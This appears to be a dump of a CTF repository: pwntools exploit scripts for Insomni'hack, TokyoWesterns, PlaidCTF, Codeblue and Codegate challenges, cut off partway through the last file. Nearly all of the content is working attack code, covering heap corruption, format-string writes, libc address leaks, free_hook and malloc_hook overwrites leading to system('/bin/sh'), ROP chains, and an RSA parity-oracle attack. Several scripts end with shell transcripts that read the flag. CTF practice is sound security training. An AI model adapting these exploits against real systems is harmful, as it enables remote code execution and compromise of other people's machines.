55 | 56 | 57 | -------------------------------------------------------------------------------- /2018 Insomni-hack teaser/sapeloshop/sapeloshop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mathboy7/CTF/e279bf91ad6b22fc41087571c5fba9501832ab80/2018 Insomni-hack teaser/sapeloshop/sapeloshop -------------------------------------------------------------------------------- /2018 Insomni-hack teaser/sapeloshop/sapeloshop.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | env = {"LD_PRELOAD":"./libc.so.6"} 4 | 5 | r = process("./sapeloshop", env=env) 6 | #r = remote("sapeloshop.teaser.insomnihack.ch", 80) 7 | 8 | def request(method, URL, length, dt): 9 | req = method + " " 10 | req += URL + " " 11 | req += "HTTP/1.0\r\n" 12 | req += "Content-Length: " + str(length) 13 | req += "Connection: keep-alive" 14 | req += "\r\n\r\n" 15 | print req 16 | r.send(req) 17 | sleep(0.1) 18 | r.send(dt) 19 | 20 | 21 | p = "desc=" 22 | p += "A"*160 23 | p += "&asdf=bb" 24 | p += "\x00"*(200 - len(p)) 25 | 26 | request("POST", "/add", 200, p) 27 | r.recvuntil("") 28 | 29 | ################################ 30 | 31 | p = "item=0&asdf=bb" 32 | p += "\x00"*(100 - len(p)) 33 | 34 | request("POST", "/sub", 100, p) 35 | #r.recvuntil("") 36 | r.interactive() 37 | ################################ 38 | 39 | p = "item=0&asdf=bb" 40 | p += "\x00" * (100 - len(p)) 41 | 42 | request("POST", "/inc", 100, p) 43 | r.recvuntil('
") 51 | 52 | print "libc: " + hex(libc) 53 | 54 | ################################ 55 | 56 | p = "desc=" 57 | p += "B"*96 58 | p += "&asdf=bb" 59 | p += "\x00"*(200 - len(p)) 60 | 61 | request("POST", "/add", 200, p) 62 | r.recvuntil("") 63 | 64 | p = "desc=" 65 | p += "C"*96 66 | p += "&asdf=bb" 67 | p += "\x00"*(200 - len(p)) 68 | 69 | request("POST", "/add", 200, p) 70 | r.recvuntil("") 71 | 72 | p = "desc=" 73 | p += "D"*96 74 | p += "&asdf=bb" 75 | p += "\x00"*(200 - len(p)) 76 | 77 | request("POST", "/add", 200, p) 78 | r.recvuntil("") 79 | 80 | ############################### 81 | 82 | p = "item=1&asdf=bb" 83 | p += "\x00"*(100 - len(p)) 84 | 85 | request("POST", "/sub", 100, p) 86 | r.recvuntil("") 87 | 88 | ############################### 89 | 90 | p = "item=2&asdf=bb" 91 | p += "\x00"*(100 - len(p)) 92 | 93 | request("POST", "/sub", 100, p) 94 | r.recvuntil("") 95 | 96 | ############################### 97 | 98 | p = "item=1&asdf=bb" 99 | p += "\x00"*(100 - len(p)) 100 | 101 | request("POST", "/inc", 100, p) 102 | r.recvuntil("") 103 | 104 | ############################### 105 | 106 | p = "item=1&asdf=bb" 107 | p += "\x00"*(100 - len(p)) 108 | 109 | request("POST", "/sub", 100, p) 110 | r.recvuntil("") 111 | 112 | ############################### 113 | 114 | p = "desc=" 115 | for i in range(6): 116 | p += "%" + hex( (malloc_fake >> (8*i))&0xff )[2:] 117 | p += "%00%00" 118 | p += "D" * (104 - len(p)) 119 | p += "&asdf=bb" 120 | p += "\x00"*(200 - len(p)) 121 | 122 | request("POST", "/add", 200, p) 123 | r.recvuntil("") 124 | 125 | p = "desc=" 126 | p += "a"*96 127 | p += "&asdf=bb" 128 | p += "\x00"*(200 - len(p)) 129 | 130 | request("POST", "/add", 200, p) 131 | r.recvuntil("") 132 | 133 | p = "desc=" 134 | p += "b"*96 135 | p += "&asdf=bb" 136 | p += "\x00"*(200 - len(p)) 137 | 138 | request("POST", "/add", 200, p) 139 | r.recvuntil("") 140 | 141 | raw_input("$") 142 | one_gadget = libc_base + 0xf1147 143 | 144 | p = "desc=" 145 | p += "A" * 19 146 | p += p64(one_gadget)[:6] 147 | p += "%00%00" 148 | p += "A" * 65 149 | p += "&asdf=bb" 150 | p += "\x00"*(200 - len(p)) 151 | 152 | request("POST", "/add", 200, p) 153 | 154 | req = "POST " 155 | req += "/add " 156 | req += "HTTP/1.0\r\n" 157 | req += "Content-Length: 100" 158 | req += "Connection: keep-alive" 159 | req += "\r\n\r\n" 160 | 161 | r.send(req) 162 | 163 | sleep(1) 164 | r.send("desc=" + "A"*90 + "&a=bb") 165 | 166 | r.interactive() 167 | -------------------------------------------------------------------------------- /2018 TokyoWesterns CTF/crypto/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2018 TokyoWesterns CTF/crypto/mix.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from gmpy2 import * 3 | from Crypto.Util.number import * 4 | from mt import untemper 5 | import libnum, decimal 6 | 7 | r = remote("crypto.chal.ctf.westerns.tokyo", 5643) 8 | #r = process(["python", "mixed.py"]) 9 | 10 | def encrypt(plain): 11 | r.sendline("1") 12 | print r.recvuntil("text: ") 13 | r.sendline(plain) 14 | print r.recvuntil("RSA: ") 15 | rsa = int(r.recvuntil("\n")[:-1], 16) 16 | print r.recvuntil("AES: ") 17 | aes = r.recvuntil("\n")[:-1] 18 | print r.recvuntil("key") 19 | return (rsa, aes) 20 | 21 | def oracle(cip): 22 | r.sendline("2") 23 | print r.recvuntil("cipher text: ") 24 | r.sendline(cip) 25 | print r.recvuntil("RSA: ") 26 | rv = r.recvuntil("\n")[:-1] 27 | print r.recvuntil("key") 28 | return int(rv[-2:], 16) 29 | 30 | def enckey(): 31 | r.sendline("4") 32 | print r.recvuntil(":)\n") 33 | # print r.recvuntil("key: ") 34 | # print r.recvuntil("\n") 35 | rv = r.recvuntil("\n")[:-1] 36 | print r.recvuntil("key") 37 | return int(rv, 16) 38 | 39 | def partial(c, n): 40 | k = n.bit_length() 41 | decimal.getcontext().prec = k 42 | lower = decimal.Decimal(0) 43 | upper = decimal.Decimal(n) 44 | print "Shit" 45 | for i in range(0, k-1): 46 | possible_plaintext = (lower + upper)/2 47 | ora = oracle(hex(c)[2:].zfill(256)) 48 | print "ora: " + hex(ora&1) 49 | if not (ora & 1): 50 | upper = possible_plaintext 51 | else: 52 | lower = possible_plaintext 53 | c = (c * c_of_2) % n 54 | if i % 100 == 0: 55 | print "sex " + str(i) 56 | print "lower: " + hex(int(lower)) 57 | print "upper: " + hex(int(upper)) 58 | raw_input("$") 59 | 60 | return int(lower) 61 | 62 | print r.recvuntil("key") 63 | 64 | values = [] 65 | for i in range(0, 624/4): 66 | rs, a = encrypt("a") 67 | a = a[:32].decode("hex") 68 | a = bytes_to_long(a) 69 | for j in range(4): 70 | values.append(a & (2**32-1)) 71 | a = a>>32 72 | 73 | mt_state = tuple(map(untemper, values)+[0]) 74 | random.setstate((3, mt_state, None)) 75 | 76 | for i in range(624): 77 | random.getrandbits(32) 78 | random.getrandbits(128) 79 | random.getrandbits(128) 80 | random.getrandbits(128) 81 | 82 | iv = random.getrandbits(128) 83 | 84 | raw_input("$") 85 | 86 | key = int(enckey()) 87 | 88 | rsa1 = encrypt("\x02") 89 | rsa2 = encrypt("\x03") 90 | rsa3 = encrypt("\x04") 91 | 92 | fuck = pow(2, 65537)-rsa1[0] 93 | fuck2 = pow(3, 65537)-rsa2[0] 94 | fuck3 = pow(4, 65537)-rsa3[0] 95 | 96 | n = gcd(fuck, fuck2) 97 | n = gcd(n, fuck3) 98 | n = int(n) 99 | 100 | e = 65537 101 | 102 | print "n: " + hex(n) 103 | print "key: " + hex(key) 104 | print hex(key) 105 | print hex(oracle(hex(key)[2:])) 106 | 107 | raw_input("$") 108 | c_of_2 = pow(2, e, n) 109 | 110 | print "key: " + str(key) 111 | 112 | fuck = partial(key*c_of_2%n, n) 113 | 114 | for i in range(fuck, fuck+10): 115 | if pow(i, e, n) == key: 116 | print "find!" 117 | key = i 118 | 119 | print "key: " + hex(key) 120 | print "iv: " + hex(iv) 121 | 122 | r.interactive() 123 | -------------------------------------------------------------------------------- /2018 TokyoWesterns CTF/pwnable/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2018 TokyoWesterns CTF/pwnable/gc.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process("./twgc", env={"LD_PRELOAD":"./libc2.so.6"}) 4 | r = remote("twgc.chal.ctf.westerns.tokyo", 11419) 5 | 6 | def create(name, string): 7 | r.sendline("1") 8 | print r.recvuntil("name: ") 9 | r.sendline(name) 10 | print r.recvuntil("string : ") 11 | r.sendline(string) 12 | print r.recvuntil(">> ") 13 | 14 | def edit(src, dest, string): 15 | r.sendline("2") 16 | print r.recvuntil(": ") 17 | r.sendline(src) 18 | print r.recvuntil(": ") 19 | r.sendline(dest) 20 | print r.recvuntil(": ") 21 | r.sendline(string) 22 | print r.recvuntil(">> ") 23 | 24 | def addRef(src, dest): 25 | r.sendline("3") 26 | print r.recvuntil(": ") 27 | r.sendline(src) 28 | print r.recvuntil(": ") 29 | r.sendline(dest) 30 | print r.recvuntil(">> ") 31 | 32 | def delRef(src, dest): 33 | r.sendline("4") 34 | print r.recvuntil(": ") 35 | r.sendline(src) 36 | print r.recvuntil(": ") 37 | r.sendline(dest) 38 | print r.recvuntil(">> ") 39 | 40 | print r.recvuntil(">> ") 41 | 42 | create("shit1", "fuck") 43 | create("shit2", "fuck") 44 | 45 | for i in range(15): 46 | create(str(i), "A"*0x10) # 1, 2, ... , 15 47 | 48 | addRef("shit1", "shit1") # shit1 -> shit 49 | 50 | for i in range(15): 51 | addRef("shit1", str(i)) # shit1 -> 1, 2, ... , 15 52 | 53 | for i in range(14): 54 | for i in range(15): 55 | create(str(0x41+i), "A"*500) # to triger gc 15 times 56 | delRef("root", str(0x41+i)) 57 | 58 | for i in range(15): 59 | delRef("shit1", str(i)) # delete 1, 2, ... , 15 60 | delRef("root", str(i)) # because to make gcCnt of 1, 2, ... to 1, not 15. 61 | 62 | for i in range(15): 63 | create(str(i), "A"*0x10) # link new memory to shit1 64 | addRef("shit1", str(i)) 65 | 66 | for i in range(30): 67 | create(str(0x41+i), "A"*300) 68 | delRef("root", str(0x41+i)) 69 | 70 | r.sendline("5") 71 | r.sendline("shit1") 72 | print r.recvuntil("destination: ") 73 | r.sendline("") 74 | rv = r.recv(6) 75 | 76 | heap = u64(rv + "\x00\x00") # leak heap address 77 | 78 | print "heap: " + hex(heap) 79 | 80 | for i in range(8): 81 | create(str(100+i), "B"*500) 82 | delRef("root", str(10+i)) 83 | 84 | payload = "A"*0x18 85 | payload += "\x00"*16 86 | payload += p64(0x400) + p64(0x0)# size 87 | payload += p64(0x41414141) + "A"*4 + "\x00"*4 + "B"*50 88 | 89 | create("PPPP", payload) # create fake object in shit1->AAAA 90 | create("QQQQ", "C"*0x20) # we will overwrite QQQQ with edit shit1->AAAA! 91 | 92 | payload = "B"*0x38 + "\x00"*16 + p64(0x80) + p64(0x0) 93 | payload += p64(heap-0x1c50+0x140) # stdin buffer + 0x140, address of fake refList ptr 94 | payload += p64(0x51515151) + "AAAA" # name QQQQ 95 | 96 | edit("shit1", "AAAA", payload) 97 | 98 | payload = "A"*0x140 + p64(0x1) + p64(heap-0x698+0x58) + "\x00"*100 # make QQQQ->var's string point unsorted bin ptr to get libc addr 99 | create("fuckt", payload) 100 | 101 | r.sendline("5") 102 | r.sendline("QQQQ") 103 | r.sendline("\x81\x1d") # name (&unsortedbinaddr - 0x8, size=0x1d81, addr in heap) 104 | 105 | rv = r.recvuntil("\x7f")[-6:] 106 | libc = u64(rv + "\x00\x00") 107 | libc_base = libc - 0x3c4b78 108 | malloc_fake = libc_base + 0x3c4ae0 109 | 110 | payload = "A"*0x140 + p64(0x1) + p64(malloc_fake) + "\x00"*16 # overwrite fake refList to nearby malloc hook, size != 0. 111 | print "libc: " + hex(libc) 112 | 113 | create("fucktt", payload) # to give our input stdin buf 114 | 115 | r.sendline("2") 116 | r.sendline("QQQQ") 117 | r.sendline("") 118 | r.sendline(p64(libc_base+0x4526a)) # one-shot! 119 | 120 | r.sendline("1") 121 | r.sendline("shell") 122 | r.sendline("shell") # call malloc! 123 | 124 | r.interactive() 125 | -------------------------------------------------------------------------------- /2018 TokyoWesterns CTF/pwnable/neighbor.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process("./neighbor", env={"LD_PRELOAD":"./libc.so.6"}) 4 | r = remote("neighbor.chal.ctf.westerns.tokyo", 37565) 5 | 6 | print r.recvuntil("mayor.\n") 7 | 8 | for i in range(1): 9 | r.sendline("%08c%9$hhn") 10 | sleep(1) 11 | r.sendline("%144c%11$hhn") 12 | sleep(1) 13 | r.sendline("%1c%6$hhnAAAA") 14 | 15 | try: 16 | print r.recvuntil("AAAA") 17 | break 18 | except: 19 | print "sex" 20 | r.sendline("%40c%9$hhn") 21 | sleep(1) 22 | r.sendline("%144c%11$hhn") 23 | sleep(1) 24 | r.sendline("%1c%6$hhnAAAA") 25 | 26 | try: 27 | print r.recvuntil("AAAA") 28 | break 29 | except: 30 | print "sex" 31 | r.sendline("%72c%9$hhn") 32 | sleep(1) 33 | r.sendline("%144c%11$hhn") 34 | sleep(1) 35 | r.sendline("%1c%6$hhnAAAA") 36 | 37 | try: 38 | print r.recvuntil("AAAA") 39 | break 40 | except: 41 | print "sex" 42 | r.sendline("%104c%9$hhn") 43 | sleep(1) 44 | r.sendline("%144c%11$hhn") 45 | sleep(1) 46 | r.sendline("%1c%6$hhnAAAA") 47 | 48 | try: 49 | print r.recvuntil("AAAA") 50 | break 51 | except: 52 | print "sex" 53 | r.sendline("%136c%9$hhn") 54 | sleep(1) 55 | r.sendline("%144c%11$hhn") 56 | sleep(1) 57 | r.sendline("%1c%6$hhnAAAA") 58 | 59 | try: 60 | print r.recvuntil("AAAA") 61 | break 62 | except: 63 | print "sex" 64 | r.sendline("%168c%9$hhn") 65 | sleep(1) 66 | r.sendline("%144c%11$hhn") 67 | sleep(1) 68 | r.sendline("%1c%6$hhnAAAA") 69 | 70 | try: 71 | print r.recvuntil("AAAA") 72 | break 73 | except: 74 | print "sex" 75 | r.sendline("%200c%9$hhn") 76 | sleep(1) 77 | r.sendline("%144c%11$hhn") 78 | sleep(1) 79 | r.sendline("%1c%6$hhnAAAA") 80 | 81 | try: 82 | print r.recvuntil("AAAA") 83 | break 84 | except: 85 | print "sex" 86 | r.close() 87 | exit() 88 | 89 | r.sendline("%7$p.%8$p.") 90 | sleep(1) 91 | print r.recvuntil("0x") 92 | stack = int(r.recvuntil(".")[:-1], 16) 93 | ret = stack - 0x38 94 | print r.recvuntil("0x") 95 | libc = int(r.recvuntil(".")[:-1], 16) 96 | libc_base = libc-0x3c2520 97 | one_gadget = libc_base + 0xf24cb 98 | 99 | print "stack: " + hex(stack) 100 | print "libc: " + hex(libc) 101 | print "ret: " + hex(ret) 102 | 103 | one = (stack+0x30) & 0xffff 104 | sex1 = (stack-0x10) & 0xffff 105 | sex2 = (ret & 0xff) 106 | 107 | payload = "%"+str(one)+"c%7$hn" 108 | r.sendline(payload) 109 | sleep(1) 110 | 111 | payload = "%11$n" 112 | r.sendline(payload) 113 | sleep(1) 114 | 115 | payload = "%"+str(one+4)+"c%7$hn" 116 | r.sendline(payload) 117 | sleep(1) 118 | 119 | payload = "%11$n" 120 | r.sendline(payload) 121 | sleep(1) 122 | 123 | payload = "%"+str(sex1)+"c%7$hn" 124 | r.sendline(payload) 125 | sleep(1) 126 | 127 | payload = "%"+str((ret)&0xffff)+"c%11$hn" 128 | payload += "%3c%7$hn" 129 | r.sendline(payload) 130 | sleep(1) 131 | 132 | one_up = one_gadget>>24 133 | one_down = one_gadget&0xffffff 134 | 135 | payload = "%"+str(one_down)+"c%9$n" 136 | payload += "%"+str(one_up-one_down)+"c%11$n" 137 | r.sendline(payload) 138 | 139 | ''' 140 | r.sendline("%120c%9$hhn") 141 | sleep(1) 142 | r.sendline("%144c%11$hhn") 143 | sleep(1) 144 | r.sendline("%1c%6$hhnAAAA") 145 | sleep(1) 146 | 147 | try: 148 | print r.recvuntil("AAAA") 149 | r.interactive() 150 | except: 151 | print "sex" 152 | r.sendline("%136c%9$hhn") 153 | sleep(1) 154 | r.sendline("%144c%11$hhn") 155 | sleep(1) 156 | r.sendline("%1c%6$hhnAAAA") 157 | sleep(1) 158 | 159 | try: 160 | print r.recvuntil("AAAA") 161 | r.interactive() 162 | except: 163 | print "sex" 164 | r.sendline("%152c%9$hhn") 165 | sleep(1) 166 | r.sendline("%144c%11$hhn") 167 | sleep(1) 168 | r.sendline("%1c%6$hhnAAAA") 169 | ''' 170 | r.interactive() 171 | -------------------------------------------------------------------------------- /2019 PCTF/Splaid Birch/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.arch="amd64" 4 | elf = ELF("./splaid-birch") 5 | libc = ELF("./libc.so.6") 6 | 7 | #p = process("./splaid-birch") 8 | p = remote("splaid-birch.pwni.ng", 17579) 9 | 10 | def sp_add(a, b): 11 | p.sendline("5") 12 | p.sendline(str(a)) 13 | p.sendline(str(b)) 14 | 15 | def delete(a): 16 | p.sendline("1") 17 | p.sendline(str(a)) 18 | 19 | for i in range(1, 3): 20 | sp_add(i, 0x0) 21 | 22 | sp_add(0, 0) 23 | 24 | p.sendline("4") 25 | p.sendline("531") 26 | 27 | heap = int(p.recvline()) 28 | heap_base = heap - 0x12f8 29 | 30 | for i in range(157): 31 | sp_add(0x10+i, 0x0) 32 | 33 | for i in range(0x10): 34 | delete(0x10 + i) 35 | 36 | sp_add(0x1234, heap + 0x1db8) 37 | 38 | p.sendline("4") 39 | p.sendline("-1817") 40 | 41 | libc.address = int(p.recvline()) - 0x3ebca0 42 | environ = libc.address + 0x3ee098 43 | 44 | print "heap: " + hex(heap) 45 | print "libc: " + hex(libc.address) 46 | 47 | payload = "5\n" 48 | payload += "5555\n" 49 | payload += str(heap_base+0x4c0) + "\n" 50 | 51 | payload += "4\n" 52 | payload += "-1827\n" 53 | 54 | payload += "5\n" 55 | payload += str(0x6873) + "\n" 56 | payload += "6666\n" 57 | 58 | payload += "1\n" 59 | payload += str(0x6873) + "\n" 60 | payload = payload.ljust(0x200, "\x41") 61 | 62 | fuck = libc.address + 0x3ed8e8 + 0x20 63 | addr = p64(libc.address + 0x4f440) # system 64 | 65 | payload += flat(0x0, 0x1234, 0x1234, 0x1234, 0, heap_base + 0x4c0 + 0x60, 0, 0, 0x4444, addr, 0, 0, fuck, fuck, 0x0, 0x10, 0x20) 66 | 67 | payload = payload.ljust(0x500, "\x00") 68 | 69 | p.sendline(payload) 70 | 71 | p.interactive() 72 | 73 | ''' 74 | $ id 75 | uid=1012(splaid) gid=1013(splaid) groups=1013(splaid) 76 | $ cd /home/splaid 77 | $ ls 78 | flag.txt 79 | libsplaid.so.1 80 | run.sh 81 | splaid-birch 82 | $ cat flag.txt 83 | PCTF{7r335_0n_h34p5_0n_7r335_0n_5l3470r} 84 | $ 85 | ''' 86 | -------------------------------------------------------------------------------- /2019 PCTF/Suffarring/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process("./suffarring") 4 | r = remote("suffarring.pwni.ng", 7361) 5 | 6 | def add(len_, dt): 7 | r.sendline("A") 8 | print r.recvuntil("> ") 9 | r.sendline(str(len_)) 10 | print r.recvuntil("> ") 11 | r.sendline(dt) 12 | print r.recvuntil("> ") 13 | 14 | def recent(idx, needleLen, needleDt): 15 | r.sendline("R") 16 | print r.recvuntil("> ") 17 | r.sendline(str(idx)) 18 | print r.recvuntil("> ") 19 | r.sendline(str(needleLen)) 20 | print r.recvuntil("> ") 21 | r.sendline(needleDt) 22 | print r.recvuntil("> ") 23 | 24 | def delete(idx): 25 | r.sendline("D") 26 | print r.recvuntil("> ") 27 | r.sendline(str(idx)) 28 | print r.recvuntil("> ") 29 | 30 | def byteto257(fuck): 31 | p = 0 32 | for i in fuck: 33 | p *= 257 34 | p += ord(i) 35 | p = p % 2**64 36 | return p 37 | 38 | def tobyte(fuck): 39 | c = "" 40 | for i in range(8): 41 | tmp = fuck % 257 42 | fuck = (fuck - tmp)/257 43 | c += chr(tmp) 44 | return c[::-1] 45 | 46 | def gethash(payload): 47 | val = byteto257(payload) * pow(257, 8, 2**64) % 2**64 48 | return tobyte(2**64 - val) 49 | 50 | print r.recvuntil("> ") 51 | 52 | for i in range(4): 53 | add(100, "A"*99) 54 | 55 | add(10, "A"*9) 56 | 57 | for i in range(4): 58 | delete(i) 59 | 60 | magic = "" 61 | magic += gethash(magic) 62 | 63 | dat = magic 64 | 65 | magic += "\x00"*40+"ABCDABCD" 66 | 67 | add(len(magic), magic) 68 | 69 | for i in range(10): 70 | add(40, "B"*39) 71 | 72 | add(4, "CCC") 73 | for i in range(10): 74 | delete(i+1) 75 | 76 | r.sendline("R") 77 | r.sendline("0") 78 | r.sendline(str(len(dat))) 79 | r.sendline(dat) 80 | 81 | libc = r.recvuntil("\x7f")[-6:] + "\x00\x00" 82 | libc = u64(libc) 83 | libc_base = libc - 0x3ec080 84 | 85 | print "libc: " + hex(libc_base) 86 | 87 | delete(00) 88 | delete(11) 89 | delete(12) 90 | 91 | add(576, "\x00"*575) 92 | delete(0) 93 | 94 | free_hook = libc_base + 0x3ed8e8 95 | 96 | ### 97 | magic = "\xcc"*8 98 | magic += p64(0xdeadbeef)*13 + p64(free_hook) 99 | magic += gethash(magic) 100 | 101 | dat = magic 102 | 103 | magic += "\x00"*400 104 | 105 | add(len(magic), magic) 106 | 107 | add(1, "t") 108 | add(1, "t") 109 | add(1, "t") 110 | 111 | delete(2) 112 | delete(1) 113 | 114 | recent(0, len(dat), dat) 115 | 116 | add(18, "\x00"*18) 117 | add(18, "\x00"*18) 118 | add(18, "\x00"*18) 119 | 120 | r.sendline("A") 121 | r.sendline("18") 122 | r.sendline(p64(libc_base+0x4f440)+"\x00"*10) 123 | 124 | add(18, "/bin/sh\x00" + "\x00"*10) 125 | 126 | r.sendline("D\n6\n") 127 | 128 | r.interactive() 129 | 130 | ''' 131 | $ cd /home/suffarring 132 | $ ls 133 | flag.txt 134 | suffarring 135 | $ cat flag.txt 136 | PCTF{You-hav3-suff3r3d-so-h3r3's-your-sh1ny-r1ng} 137 | ''' 138 | -------------------------------------------------------------------------------- /2019 PCTF/cppp/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process("./cppp") 4 | r = remote("cppp.pwni.ng", 7777) 5 | 6 | def add(name, buf): 7 | r.sendline("1") 8 | print r.recvuntil("name: ") 9 | r.sendline(name) 10 | print r.recvuntil("buf: ") 11 | r.sendline(buf) 12 | print r.recvuntil(": ") 13 | 14 | def remove(idx): 15 | r.sendline("2") 16 | print r.recvuntil(": ") 17 | r.sendline(str(idx)) 18 | print r.recvuntil(": ") 19 | 20 | print r.recvuntil("Choice: ") 21 | add("asdf", "b"*3168) 22 | add("asdftt", "b"*3168) 23 | remove(0) 24 | r.sendline("3\n0") 25 | rv = r.recvuntil("\x7f")[-6:] 26 | libc = u64(rv + "\x00\x00") 27 | print "libc: " + hex(libc) 28 | libc_base = libc - 0x3ebca0 29 | free_hook = libc_base + 0x3ed8e8 30 | 31 | add("a", "/bin/sh\x00") 32 | add("b", "B"*20) 33 | add("as", "/bin/sh\x00") 34 | remove(1) 35 | remove(1) 36 | add("d", p64(free_hook)) 37 | r.sendline("1\n1") 38 | r.sendline(p64(libc_base+0x4f440)) 39 | 40 | r.sendline("1\n") 41 | r.sendline("asdf") 42 | r.sendline("sh\x00") 43 | r.interactive() 44 | 45 | ''' 46 | $ cd /home/cppp 47 | $ ls 48 | cppp 49 | flag.txt 50 | $ cat flag.txt 51 | PCTF{ccccccppppppppppppPPPPP+++++!} 52 | $ 53 | ''' 54 | -------------------------------------------------------------------------------- /Codeblue CTF/Secret Mailer Service/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Codeblue CTF/Secret Mailer Service/mailer: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mathboy7/CTF/e279bf91ad6b22fc41087571c5fba9501832ab80/Codeblue CTF/Secret Mailer Service/mailer -------------------------------------------------------------------------------- /Codeblue CTF/Secret Mailer Service/mailer.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = process("./mailer") 4 | 5 | ''' 6 | script = "c" 7 | gdb.attach(r, script) 8 | ''' 9 | 10 | def addLetter(contents): 11 | r.sendline("1") 12 | print r.recvuntil("contents: ") 13 | r.sendline(contents) 14 | print r.recvuntil("> ") 15 | 16 | def deleteLetter(idx): 17 | r.sendline("2") 18 | print r.recvuntil(": ") 19 | r.sendline(str(idx)) 20 | print r.recvuntil("> ") 21 | 22 | def postLetter(idx, func): 23 | r.sendline("3") 24 | print r.recvuntil(": ") 25 | r.sendline(str(idx)) 26 | print r.recvuntil("> ") 27 | r.sendline(str(func)) 28 | print r.recvuntil("> ") 29 | 30 | sleep(2) 31 | raw_input("$") 32 | 33 | print r.recvuntil("> ") 34 | 35 | payload = "A"*18 36 | payload += p32(0x8048530) # puts@plt 37 | payload += p32(0x8048d01) # main 38 | payload += p32(0x804b00c) # setvbuf@got 39 | 40 | addLetter(payload) 41 | 42 | for _ in xrange(4): 43 | addLetter("A"*250) 44 | 45 | postLetter(4, -15) 46 | 47 | postLetter(1, 0) 48 | postLetter(0, 0) 49 | 50 | print payload 51 | 52 | r.send("4\n") 53 | print r.recvuntil("service :)\n") 54 | 55 | puts = u32(r.recv(4)) 56 | 57 | libc = ELF("/lib/i386-linux-gnu/libc.so.6") 58 | 59 | libc.address = puts - libc.symbols["setbuf"] 60 | 61 | system = libc.symbols["system"] 62 | binsh = libc.search("/bin/sh\x00").next() 63 | 64 | print "libc: " + hex(libc.address) 65 | 66 | print r.recvuntil("> ") 67 | 68 | payload = "A"*18 69 | payload += p32(system) 70 | payload += "BBBB" 71 | payload += p32(binsh) 72 | 73 | addLetter(payload) 74 | 75 | for _ in xrange(4): 76 | addLetter("A"*250) 77 | 78 | postLetter(4, -15) 79 | 80 | postLetter(1, 0) 81 | postLetter(0, 0) 82 | 83 | r.sendline("4") 84 | 85 | r.interactive() 86 | -------------------------------------------------------------------------------- /Codeblue CTF/nonamestill/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Codeblue CTF/nonamestill/noname: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mathboy7/CTF/e279bf91ad6b22fc41087571c5fba9501832ab80/Codeblue CTF/nonamestill/noname -------------------------------------------------------------------------------- /Codeblue CTF/nonamestill/noname-first.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = process("./noname") 4 | 5 | def createURL(size, URL): 6 | r.sendline("1") 7 | print r.recvuntil("size: ") 8 | r.sendline(str(size)) 9 | print r.recvuntil("URL: ") 10 | r.sendline(URL) 11 | print r.recvuntil("> ") 12 | 13 | def decodeURL(idx): 14 | r.sendline("2") 15 | print r.recvuntil("index: ") 16 | r.sendline(str(idx)) 17 | print r.recvuntil("> ") 18 | 19 | def deleteURL(idx): 20 | r.sendline("4") 21 | print r.recvuntil("index: ") 22 | r.sendline(str(idx)) 23 | print r.recvuntil("> ") 24 | 25 | print r.recvuntil("> ") 26 | 27 | raw_input("$") 28 | 29 | createURL(16, "BBBB") # 3 30 | createURL(16, "BBBB") # 2 31 | createURL(9472, "\x00"*20) # 1 32 | createURL(16, "BBBB") # 0 33 | 34 | deleteURL(2) 35 | 36 | createURL(16, "aaaaaaaaaaaaa%0") 37 | decodeURL(0) 38 | 39 | r.send("3\n") 40 | r.recvuntil("aaaa") 41 | r.recv(12) 42 | 43 | heap = u32(r.recv(4)) - 0x1010 44 | print "heap: " + hex(heap) 45 | 46 | createURL(96, "b"*93 + "%" + "\x00") 47 | createURL(100, "B"*100) 48 | 49 | deleteURL(1) 50 | createURL(0, "") 51 | 52 | r.send("3\n") 53 | print r.recvuntil("0: ") 54 | 55 | libc = u32(r.recv(4)) 56 | libc_base = libc - 0x1b2810 57 | system = libc_base + 0x3ada0 58 | binsh = libc_base + 0x15b9ab 59 | 60 | print r.recvuntil("> ") 61 | 62 | print "libc: " + hex(libc) 63 | 64 | #-------------------------- 65 | createURL(115700, "CCCC") 66 | 67 | payload = "%41"*30 68 | payload += "AAA%\x00\x00" 69 | 70 | createURL(96, payload) 71 | createURL(100, "\xff"*80) 72 | deleteURL(0) 73 | 74 | decodeURL(0) 75 | 76 | top_addr = heap + 0x1fa98 77 | 78 | addr = 0x804b00c - top_addr 79 | 80 | print str(addr) 81 | createURL(addr, "") 82 | 83 | payload = p32(system) 84 | payload += p32(libc_base + 0x5fca0) 85 | 86 | createURL(400, payload) 87 | 88 | r.send("1\n") 89 | r.send(str(binsh - 0x100000004)+"\n") 90 | 91 | r.interactive() 92 | -------------------------------------------------------------------------------- /Codegate 2017 Quals/dartmaster/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Codegate 2017 Quals/dartmaster/dartmaster.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = process("./dartmaster") 4 | 5 | script = ''' 6 | tracemalloc on 7 | c 8 | ''' 9 | #gdb.attach(r, script) 10 | 11 | def login(ID, pw): 12 | r.sendline("1") 13 | print r.recvuntil("ID : ") 14 | r.sendline(ID) 15 | print r.recvuntil("password : ") 16 | r.sendline(pw) 17 | print r.recvuntil("> ") 18 | 19 | def createID(ID, pw, info): 20 | print r.recvuntil("ID : ") 21 | r.sendline(ID) 22 | print r.recvuntil("password : ") 23 | r.sendline(pw) 24 | print r.recvuntil("password : ") 25 | r.sendline(pw) 26 | print r.recvuntil("information : ") 27 | r.sendline(info) 28 | print r.recvuntil("> ") 29 | 30 | def genID(ID, pw, info): 31 | r.sendline("2") 32 | createID(ID, pw, info) 33 | 34 | def delID(ID, pw): 35 | r.sendline("3") 36 | print r.recvuntil("delete? ") 37 